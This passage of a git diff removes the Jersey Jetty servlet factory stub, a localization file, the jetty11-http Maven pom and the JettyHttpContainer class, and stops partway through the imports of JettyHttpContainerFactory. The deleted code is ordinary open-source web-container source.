@@ -1,239 +0,0 @@
-/*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.servlet;
-
-import jakarta.servlet.Servlet;
-import jakarta.ws.rs.ProcessingException;
-import org.eclipse.jetty.server.Server;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.servlet.ServletContainer;
-
-import java.net.URI;
-import java.util.Map;
-
-/**
- * Factory for creating and starting Jetty {@link Server} instances
- * for deploying a Servlet.
- * <p/>
- * The default deployed server is an instance of {@link ServletContainer}.
- * <p/>
- * If no initialization parameters are declared (or is null) then root
- * resource and provider classes will be found by searching the classes
- * referenced in the java classpath.
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public final class JettyWebContainerFactory {
-
-    private JettyWebContainerFactory() {
-    }
-
-    /**
-     * Create a {@link Server} that registers the {@link ServletContainer}.
-     *
-     * @param u the URI to create the http server. The URI scheme must be
-     *          equal to "http". The URI user information and host
-     *          are ignored If the URI port is not present then port 80 will be
-     *          used. The URI query and fragment components are ignored. Only first path segment will be used
-     *          as context path, the rest will be ignored.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(String u)
-            throws Exception {
-        if (u == null) {
-            throw new IllegalArgumentException("The URI must not be null");
-        }
-
-        return create(URI.create(u));
-    }
-
-    /**
-     * Create a {@link Server} that registers the {@link ServletContainer}.
-     *
-     * @param u          the URI to create the http server. The URI scheme must be
-     *                   equal to "http". The URI user information and host
-     *                   are ignored If the URI port is not present then port 80 will be
-     *                   used. The URI query and fragment components are ignored. Only first path segment will be used
-     *                   as context path, the rest will be ignored.
-     * @param initParams the servlet initialization parameters.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(String u, Map<String, String> initParams)
-            throws Exception {
-        if (u == null) {
-            throw new IllegalArgumentException("The URI must not be null");
-        }
-
-        return create(URI.create(u), initParams);
-    }
-
-    /**
-     * Create a {@link Server} that registers the {@link ServletContainer}.
-     *
-     * @param u the URI to create the http server. The URI scheme must be
-     *          equal to "http". The URI user information and host
-     *          are ignored If the URI port is not present then port 80 will be
-     *          used. The URI query and fragment components are ignored. Only first path segment will be used
-     *          as context path, the rest will be ignored.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(URI u)
-            throws Exception {
-        return create(u, ServletContainer.class);
-    }
-
-    /**
-     * Create a {@link Server} that registers the {@link ServletContainer}.
-     *
-     * @param u          the URI to create the http server. The URI scheme must be
-     *                   equal to "http". The URI user information and host
-     *                   are ignored If the URI port is not present then port 80 will be
-     *                   used. The URI query and fragment components are ignored. Only first path segment will be used
-     *                   as context path, the rest will be ignored.
-     * @param initParams the servlet initialization parameters.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(URI u, Map<String, String> initParams)
-            throws Exception {
-        return create(u, ServletContainer.class, initParams);
-    }
-
-    /**
-     * Create a {@link Server} that registers the declared
-     * servlet class.
-     *
-     * @param u the URI to create the http server. The URI scheme must be
-     *          equal to "http". The URI user information and host
-     *          are ignored If the URI port is not present then port 80 will be
-     *          used. The URI query and fragment components are ignored. Only first path segment will be used
-     *          as context path, the rest will be ignored.
-     * @param c the servlet class.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(String u, Class<? extends Servlet> c)
-            throws Exception {
-        if (u == null) {
-            throw new IllegalArgumentException("The URI must not be null");
-        }
-
-        return create(URI.create(u), c);
-    }
-
-    /**
-     * Create a {@link Server} that registers the declared
-     * servlet class.
-     *
-     * @param u          the URI to create the http server. The URI scheme must be
-     *                   equal to "http". The URI user information and host
-     *                   are ignored If the URI port is not present then port 80 will be
-     *                   used. The URI query and fragment components are ignored. Only first path segment will be used
-     *                   as context path, the rest will be ignored.
-     * @param c          the servlet class.
-     * @param initParams the servlet initialization parameters.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(String u, Class<? extends Servlet> c,
-                                Map<String, String> initParams)
-            throws Exception {
-        if (u == null) {
-            throw new IllegalArgumentException("The URI must not be null");
-        }
-
-        return create(URI.create(u), c, initParams);
-    }
-
-    /**
-     * Create a {@link Server} that registers the declared
-     * servlet class.
-     *
-     * @param u the URI to create the http server. The URI scheme must be
-     *          equal to "http". The URI user information and host
-     *          are ignored If the URI port is not present then port 80 will be
-     *          used. The URI query and fragment components are ignored. Only first path segment will be used
-     *          as context path, the rest will be ignored.
-     * @param c the servlet class.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(URI u, Class<? extends Servlet> c)
-            throws Exception {
-        return create(u, c, null);
-    }
-
-    /**
-     * Create a {@link Server} that registers the declared
-     * servlet class.
-     *
-     * @param u          the URI to create the http server. The URI scheme must be
-     *                   equal to "http". The URI user information and host
-     *                   are ignored If the URI port is not present then port 80 will be
-     *                   used. The URI query and fragment components are ignored. Only first path segment will be used
-     *                   as context path, the rest will be ignored.
-     * @param c          the servlet class.
-     * @param initParams the servlet initialization parameters.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(URI u, Class<? extends Servlet> c, Map<String, String> initParams)
-            throws Exception {
-        return create(u, c, null, initParams, null);
-    }
-
-    private static Server create(URI u, Class<? extends Servlet> c, Servlet servlet,
-                                 Map<String, String> initParams, Map<String, String> contextInitParams)
-            throws Exception {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    /**
-     * Create a {@link Server} that registers the declared
-     * servlet instance.
-     *
-     * @param u                 the URI to create the HTTP server. The URI scheme must be
-     *                          equal to "http". The URI user information and host
-     *                          are ignored If the URI port is not present then port 80 will be
-     *                          used. The URI query and fragment components are ignored. Only first path segment will be used
-     *                          as context path, the rest will be ignored.
-     * @param servlet           the servlet instance.
-     * @param initParams        the servlet initialization parameters.
-     * @param contextInitParams the servlet context initialization parameters.
-     * @return the http server, with the endpoint started.
-     * @throws Exception                if an error occurs creating the container.
-     * @throws IllegalArgumentException if HTTP server URI is {@code null}.
-     */
-    public static Server create(URI u, Servlet servlet, Map<String, String> initParams, Map<String, String> contextInitParams)
-            throws Exception {
-        if (servlet == null) {
-            throw new IllegalArgumentException("The servlet must not be null");
-        }
-        return create(u, null, servlet, initParams, contextInitParams);
-    }
-}
\ No newline at end of file
diff --git a/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties b/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties
deleted file mode 100644
index 6504f0e..0000000
--- a/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/containers/jetty11-http/pom.xml b/containers/jetty11-http/pom.xml
deleted file mode 100644
index 1a669c0..0000000
--- a/containers/jetty11-http/pom.xml
+++ /dev/null
@@ -1,134 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-
-    <parent>
-        <artifactId>project</artifactId>
-        <groupId>org.glassfish.jersey.containers</groupId>
-        <version>3.1.99-SNAPSHOT</version>
-    </parent>
-
-    <artifactId>jersey-container-jetty11-http</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-container-jetty11-http</name>
-
-    <description>Jetty 11 Http Container</description>
-
-    <dependencies>
-        <dependency>
-            <groupId>jakarta.inject</groupId>
-            <artifactId>jakarta.inject-api</artifactId>
-        </dependency>
-         <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-server</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.eclipse.jetty.toolchain</groupId>
-                    <artifactId>jetty-jakarta-servlet-api</artifactId>
-                </exclusion>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-                <exclusion>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-util</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.slf4j</groupId>
-            <artifactId>slf4j-api</artifactId>
-            <version>${slf4j.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>jakarta.servlet</groupId>
-            <artifactId>jakarta.servlet-api</artifactId>
-            <scope>provided</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-util</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.hamcrest</groupId>
-            <artifactId>hamcrest</artifactId>
-            <scope>test</scope>
-        </dependency>
-    </dependencies>
-
-    <build>
-        <plugins>
-            <plugin>
-                <groupId>com.sun.istack</groupId>
-                <artifactId>istack-commons-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.codehaus.mojo</groupId>
-                <artifactId>build-helper-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.felix</groupId>
-                <artifactId>maven-bundle-plugin</artifactId>
-                <inherited>true</inherited>
-                <configuration>
-                    <instructions>
-                        <Import-Package>
-                            ${jetty.osgi.version},
-                            *
-                        </Import-Package>
-                    </instructions>
-                </configuration>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.maven.plugins</groupId>
-                <artifactId>maven-enforcer-plugin</artifactId>
-                <configuration>
-                    <rulesToSkip>dependencyConvergence</rulesToSkip>
-                </configuration>
-            </plugin>
-        </plugins>
-
-        <resources>
-            <resource>
-                <directory>${basedir}/src/main/resources</directory>
-                <filtering>true</filtering>
-            </resource>
-        </resources>
-    </build>
-
-</project>
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
deleted file mode 100644
index dc680a3..0000000
--- a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
+++ /dev/null
@@ -1,510 +0,0 @@
-/*
- * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import java.io.IOException;
-import java.io.OutputStream;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.lang.reflect.Type;
-import java.net.URI;
-import java.net.URISyntaxException;
-import java.security.Principal;
-import java.util.Enumeration;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.servlet.AsyncContext;
-import jakarta.servlet.AsyncEvent;
-import jakarta.servlet.AsyncListener;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.GenericType;
-import jakarta.ws.rs.core.SecurityContext;
-
-import jakarta.inject.Inject;
-import jakarta.inject.Provider;
-import jakarta.servlet.ServletException;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-
-import org.glassfish.jersey.internal.MapPropertiesDelegate;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.ReferencingFactory;
-import org.glassfish.jersey.internal.util.ExtendedLogger;
-import org.glassfish.jersey.internal.util.collection.Ref;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.process.internal.RequestScoped;
-import org.glassfish.jersey.server.ApplicationHandler;
-import org.glassfish.jersey.server.ContainerException;
-import org.glassfish.jersey.server.ContainerRequest;
-import org.glassfish.jersey.server.ContainerResponse;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.ServerProperties;
-import org.glassfish.jersey.server.internal.ContainerUtils;
-import org.glassfish.jersey.server.spi.Container;
-import org.glassfish.jersey.server.spi.ContainerResponseWriter;
-
-import org.eclipse.jetty.http.HttpStatus;
-import org.eclipse.jetty.server.Request;
-import org.eclipse.jetty.server.Response;
-import org.eclipse.jetty.server.handler.AbstractHandler;
-
-/**
- * Jersey {@code Container} implementation based on Jetty {@link org.eclipse.jetty.server.Handler}.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Libor Kramolis
- * @author Marek Potociar
- */
-public final class JettyHttpContainer extends AbstractHandler implements Container {
-
-    private static final ExtendedLogger LOGGER =
-            new ExtendedLogger(Logger.getLogger(JettyHttpContainer.class.getName()), Level.FINEST);
-
-    private static final Type REQUEST_TYPE = (new GenericType<Ref<Request>>() {}).getType();
-    private static final Type RESPONSE_TYPE = (new GenericType<Ref<Response>>() {}).getType();
-
-    private static final int INTERNAL_SERVER_ERROR = jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode();
-    private static final jakarta.ws.rs.core.Response.Status BAD_REQUEST_STATUS = jakarta.ws.rs.core.Response.Status.BAD_REQUEST;
-
-    /**
-     * Cached value of configuration property
-     * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}.
-     * If {@code true} method {@link HttpServletResponse#setStatus} is used over {@link HttpServletResponse#sendError}.
-     */
-    private boolean configSetStatusOverSendError;
-
-    /**
-     * Referencing factory for Jetty request.
-     */
-    private static class JettyRequestReferencingFactory extends ReferencingFactory<Request> {
-        @Inject
-        public JettyRequestReferencingFactory(final Provider<Ref<Request>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    /**
-     * Referencing factory for Jetty response.
-     */
-    private static class JettyResponseReferencingFactory extends ReferencingFactory<Response> {
-        @Inject
-        public JettyResponseReferencingFactory(final Provider<Ref<Response>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    /**
-     * An internal binder to enable Jetty HTTP container specific types injection.
-     * This binder allows to inject underlying Jetty HTTP request and response instances.
-     * Note that since Jetty {@code Request} class is not proxiable as it does not expose an empty constructor,
-     * the injection of Jetty request instance into singleton JAX-RS and Jersey providers is only supported via
-     * {@link jakarta.inject.Provider injection provider}.
-     */
-    private static class JettyBinder extends AbstractBinder {
-
-        @Override
-        protected void configure() {
-            bindFactory(JettyRequestReferencingFactory.class).to(Request.class)
-                    .proxy(false).in(RequestScoped.class);
-            bindFactory(ReferencingFactory.<Request>referenceFactory()).to(new GenericType<Ref<Request>>() {})
-                    .in(RequestScoped.class);
-
-            bindFactory(JettyResponseReferencingFactory.class).to(Response.class)
-                    .proxy(false).in(RequestScoped.class);
-            bindFactory(ReferencingFactory.<Response>referenceFactory()).to(new GenericType<Ref<Response>>() {})
-                    .in(RequestScoped.class);
-        }
-    }
-
-    private volatile ApplicationHandler appHandler;
-
-    @Override
-    public void handle(final String target, final Request request, final HttpServletRequest httpServletRequest,
-                       final HttpServletResponse httpServletResponse) throws IOException, ServletException {
-
-        if (request.isHandled()) {
-            return;
-        }
-
-        final Response response = request.getResponse();
-        final ResponseWriter responseWriter = new ResponseWriter(request, response, configSetStatusOverSendError);
-        try {
-            LOGGER.debugLog(LocalizationMessages.CONTAINER_STARTED());
-            final URI baseUri = getBaseUri(request);
-            final URI requestUri = getRequestUri(request, baseUri);
-            final ContainerRequest requestContext = new ContainerRequest(
-                    baseUri,
-                    requestUri,
-                    request.getMethod(),
-                    getSecurityContext(request),
-                    new MapPropertiesDelegate(),
-                    appHandler.getConfiguration());
-            requestContext.setEntityStream(request.getInputStream());
-            final Enumeration<String> headerNames = request.getHeaderNames();
-            while (headerNames.hasMoreElements()) {
-                final String headerName = headerNames.nextElement();
-                String headerValue = request.getHeader(headerName);
-                requestContext.headers(headerName, headerValue == null ? "" : headerValue);
-            }
-            requestContext.setWriter(responseWriter);
-            requestContext.setRequestScopedInitializer(injectionManager -> {
-                injectionManager.<Ref<Request>>getInstance(REQUEST_TYPE).set(request);
-                injectionManager.<Ref<Response>>getInstance(RESPONSE_TYPE).set(response);
-            });
-
-            // Mark the request as handled before generating the body of the response
-            request.setHandled(true);
-            appHandler.handle(requestContext);
-        } catch (URISyntaxException e) {
-            setResponseForInvalidUri(response, e);
-        } catch (final Exception ex) {
-            throw new RuntimeException(ex);
-        }
-    }
-
-    private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException {
-        final String serverAddress = getServerAddress(baseUri);
-        String uri = request.getRequestURI();
-
-        final String queryString = request.getQueryString();
-        if (queryString != null) {
-            uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
-        }
-
-        return new URI(serverAddress + uri);
-    }
-
-    private void setResponseForInvalidUri(final HttpServletResponse response, final Throwable throwable) throws IOException {
-        LOGGER.log(Level.FINER, "Error while processing request.", throwable);
-
-        if (configSetStatusOverSendError) {
-            response.reset();
-            //noinspection deprecation
-            response.setStatus(BAD_REQUEST_STATUS.getStatusCode());
-        } else {
-            response.sendError(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
-        }
-    }
-
-    private String getServerAddress(URI baseUri) {
-        String serverAddress = baseUri.toString();
-        if (serverAddress.charAt(serverAddress.length() - 1) == '/') {
-            return serverAddress.substring(0, serverAddress.length() - 1);
-        }
-        return serverAddress;
-    }
-
-    private SecurityContext getSecurityContext(final Request request) {
-        return new SecurityContext() {
-
-            @Override
-            public boolean isUserInRole(final String role) {
-                return request.isUserInRole(role);
-            }
-
-            @Override
-            public boolean isSecure() {
-                return request.isSecure();
-            }
-
-            @Override
-            public Principal getUserPrincipal() {
-                return request.getUserPrincipal();
-            }
-
-            @Override
-            public String getAuthenticationScheme() {
-                return request.getAuthType();
-            }
-        };
-    }
-
-
-    private URI getBaseUri(final Request request) throws URISyntaxException {
-        return new URI(request.getScheme(), null, request.getServerName(),
-                request.getServerPort(), getBasePath(request), null, null);
-    }
-
-    private String getBasePath(final Request request) {
-        final String contextPath = request.getContextPath();
-
-        if (contextPath == null || contextPath.isEmpty()) {
-            return "/";
-        } else if (contextPath.charAt(contextPath.length() - 1) != '/') {
-            return contextPath + "/";
-        } else {
-            return contextPath;
-        }
-    }
-
-    private static final class ResponseWriter implements ContainerResponseWriter {
-
-        private final Response response;
-        private final AsyncContext context;
-        private final boolean configSetStatusOverSendError;
-
-        ResponseWriter(final Request request, final Response response, final boolean configSetStatusOverSendError) {
-            this.response = response;
-            this.context = request.startAsync();
-            this.configSetStatusOverSendError = configSetStatusOverSendError;
-        }
-
-        @Override
-        public OutputStream writeResponseStatusAndHeaders(final long contentLength, final ContainerResponse context)
-                throws ContainerException {
-
-            final jakarta.ws.rs.core.Response.StatusType statusInfo = context.getStatusInfo();
-
-            final int code = statusInfo.getStatusCode();
-            final String reason = statusInfo.getReasonPhrase() == null
-                    ? HttpStatus.getMessage(code) : statusInfo.getReasonPhrase();
-
-            response.setStatusWithReason(code, reason);
-
-            if (contentLength != -1 && contentLength < Integer.MAX_VALUE) {
-                response.setContentLength((int) contentLength);
-            }
-            for (final Map.Entry<String, List<String>> e : context.getStringHeaders().entrySet()) {
-                for (final String value : e.getValue()) {
-                    response.addHeader(e.getKey(), value);
-                }
-            }
-
-            try {
-                return response.getOutputStream();
-            } catch (final IOException ioe) {
-                throw new ContainerException("Error during writing out the response headers.", ioe);
-            }
-        }
-
-        @Override
-        public boolean suspend(final long timeOut, final TimeUnit timeUnit, final TimeoutHandler timeoutHandler) {
-            try {
-                if (timeOut > 0) {
-                    final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit);
-                    context.setTimeout(timeoutMillis);
-                }
-                context.addListener(new AsyncListener() {
-                    @Override
-                    public void onComplete(AsyncEvent asyncEvent) throws IOException {
-
-                    }
-
-                    @Override
-                    public void onTimeout(AsyncEvent asyncEvent) throws IOException {
-                        if (timeoutHandler != null) {
-                            timeoutHandler.onTimeout(ResponseWriter.this);
-                        }
-                    }
-
-                    @Override
-                    public void onError(AsyncEvent asyncEvent) throws IOException {
-
-                    }
-
-                    @Override
-                    public void onStartAsync(AsyncEvent asyncEvent) throws IOException {
-
-                    }
-                });
-                return true;
-            } catch (final Exception ex) {
-                return false;
-            }
-        }
-
-        @Override
-        public void setSuspendTimeout(final long timeOut, final TimeUnit timeUnit) throws IllegalStateException {
-            if (timeOut > 0) {
-                final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit);
-                context.setTimeout(timeoutMillis);
-            }
-        }
-
-        @Override
-        public void commit() {
-            try {
-                closeOutput(response);
-            } catch (final IOException e) {
-                LOGGER.log(Level.WARNING, LocalizationMessages.UNABLE_TO_CLOSE_RESPONSE(), e);
-            } finally {
-                if (context.getRequest().isAsyncStarted()) {
-                    context.complete();
-                }
-                LOGGER.log(Level.FINEST, "commit() called");
-            }
-        }
-
-        private void closeOutput(Response response) throws IOException {
-            try {
-                response.completeOutput();
-            } catch (final IOException e) {
-                throw e;
-            } catch (NoSuchMethodError e) {
-                // try older Jetty Response#closeOutput
-                try {
-                    Method method = response.getClass().getMethod("closeOutput");
-                    method.invoke(response);
-                } catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException ex) {
-                    throw new IOException(ex);
-                }
-            }
-        }
-
-        @Override
-        public void failure(final Throwable error) {
-            try {
-                if (!response.isCommitted()) {
-                    try {
-                        if (configSetStatusOverSendError) {
-                            response.reset();
-                            //noinspection deprecation
-                            response.setStatus(INTERNAL_SERVER_ERROR, "Request failed.");
-                        } else {
-                            response.sendError(INTERNAL_SERVER_ERROR, "Request failed.");
-                        }
-                    } catch (final IllegalStateException ex) {
-                        // a race condition externally committing the response can still occur...
-                        LOGGER.log(Level.FINER, "Unable to reset failed response.", ex);
-                    } catch (final IOException ex) {
-                        throw new ContainerException(LocalizationMessages.EXCEPTION_SENDING_ERROR_RESPONSE(INTERNAL_SERVER_ERROR,
-                                "Request failed."), ex);
-                    }
-                }
-            } finally {
-                LOGGER.log(Level.FINEST, "failure(...) called");
-                commit();
-                rethrow(error);
-            }
-        }
-
-        @Override
-        public boolean enableResponseBuffering() {
-            return false;
-        }
-
-        /**
-         * Rethrow the original exception as required by JAX-RS, 3.3.4.
-         *
-         * @param error throwable to be re-thrown
-         */
-        private void rethrow(final Throwable error) {
-            if (error instanceof RuntimeException) {
-                throw (RuntimeException) error;
-            } else {
-                throw new ContainerException(error);
-            }
-        }
-
-    }
-
-    @Override
-    public ResourceConfig getConfiguration() {
-        return appHandler.getConfiguration();
-    }
-
-    @Override
-    public void reload() {
-        reload(new ResourceConfig(getConfiguration()));
-    }
-
-    @Override
-    public void reload(final ResourceConfig configuration) {
-        appHandler.onShutdown(this);
-
-        appHandler = new ApplicationHandler(configuration.register(new JettyBinder()));
-        appHandler.onReload(this);
-        appHandler.onStartup(this);
-        cacheConfigSetStatusOverSendError();
-    }
-
-    @Override
-    public ApplicationHandler getApplicationHandler() {
-        return appHandler;
-    }
-
-    /**
-     * Inform this container that the server has been started.
-     * This method must be implicitly called after the server containing this container is started.
-     *
-     * @throws java.lang.Exception if a problem occurred during server startup.
-     */
-    @Override
-    protected void doStart() throws Exception {
-        super.doStart();
-        appHandler.onStartup(this);
-    }
-
-    /**
-     * Inform this container that the server is being stopped.
-     * This method must be implicitly called before the server containing this container is stopped.
-     *
-     * @throws java.lang.Exception if a problem occurred during server shutdown.
-     */
-    @Override
-    public void doStop() throws Exception {
-        super.doStop();
-        appHandler.onShutdown(this);
-        appHandler = null;
-    }
-
-    /**
-     * Create a new Jetty HTTP container.
-     *
-     * @param application   JAX-RS / Jersey application to be deployed on Jetty HTTP container.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     */
-    JettyHttpContainer(final Application application, final Object parentContext) {
-        this.appHandler = new ApplicationHandler(application, new JettyBinder(), parentContext);
-    }
-
-    /**
-     * Create a new Jetty HTTP container.
-     *
-     * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
-     */
-    JettyHttpContainer(final Application application) {
-        this.appHandler = new ApplicationHandler(application, new JettyBinder());
-
-        cacheConfigSetStatusOverSendError();
-    }
-
-    /**
-     * Create a new Jetty HTTP container.
-     *
-     * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container.
-     */
-    JettyHttpContainer(final Class<? extends Application> applicationClass) {
-        this.appHandler = new ApplicationHandler(applicationClass, new JettyBinder());
-
-        cacheConfigSetStatusOverSendError();
-    }
-
-    /**
-     * The method reads and caches value of configuration property
-     * {@link ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR} for future purposes.
-     */
-    private void cacheConfigSetStatusOverSendError() {
-        this.configSetStatusOverSendError = ServerProperties.getValue(getConfiguration().getProperties(),
-                ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, false, Boolean.class);
-    }
-
-}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
deleted file mode 100644
index cb66f21..0000000
--- a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
+++ /dev/null
@@ -1,319 +0,0 @@
-/*
- * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import java.net.URI;
-import java.util.concurrent.ThreadFactory;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Configuration;
-
-import org.glassfish.jersey.innate.VirtualThreadUtil;
-import org.glassfish.jersey.innate.virtual.LoomishExecutors;
-import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.process.JerseyProcessingUncaughtExceptionHandler;
-import org.glassfish.jersey.server.ContainerFactory;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.spi.Container;
-
-import org.eclipse.jetty.server.Connector;
-import org.eclipse.jetty.server.HttpConfiguration;
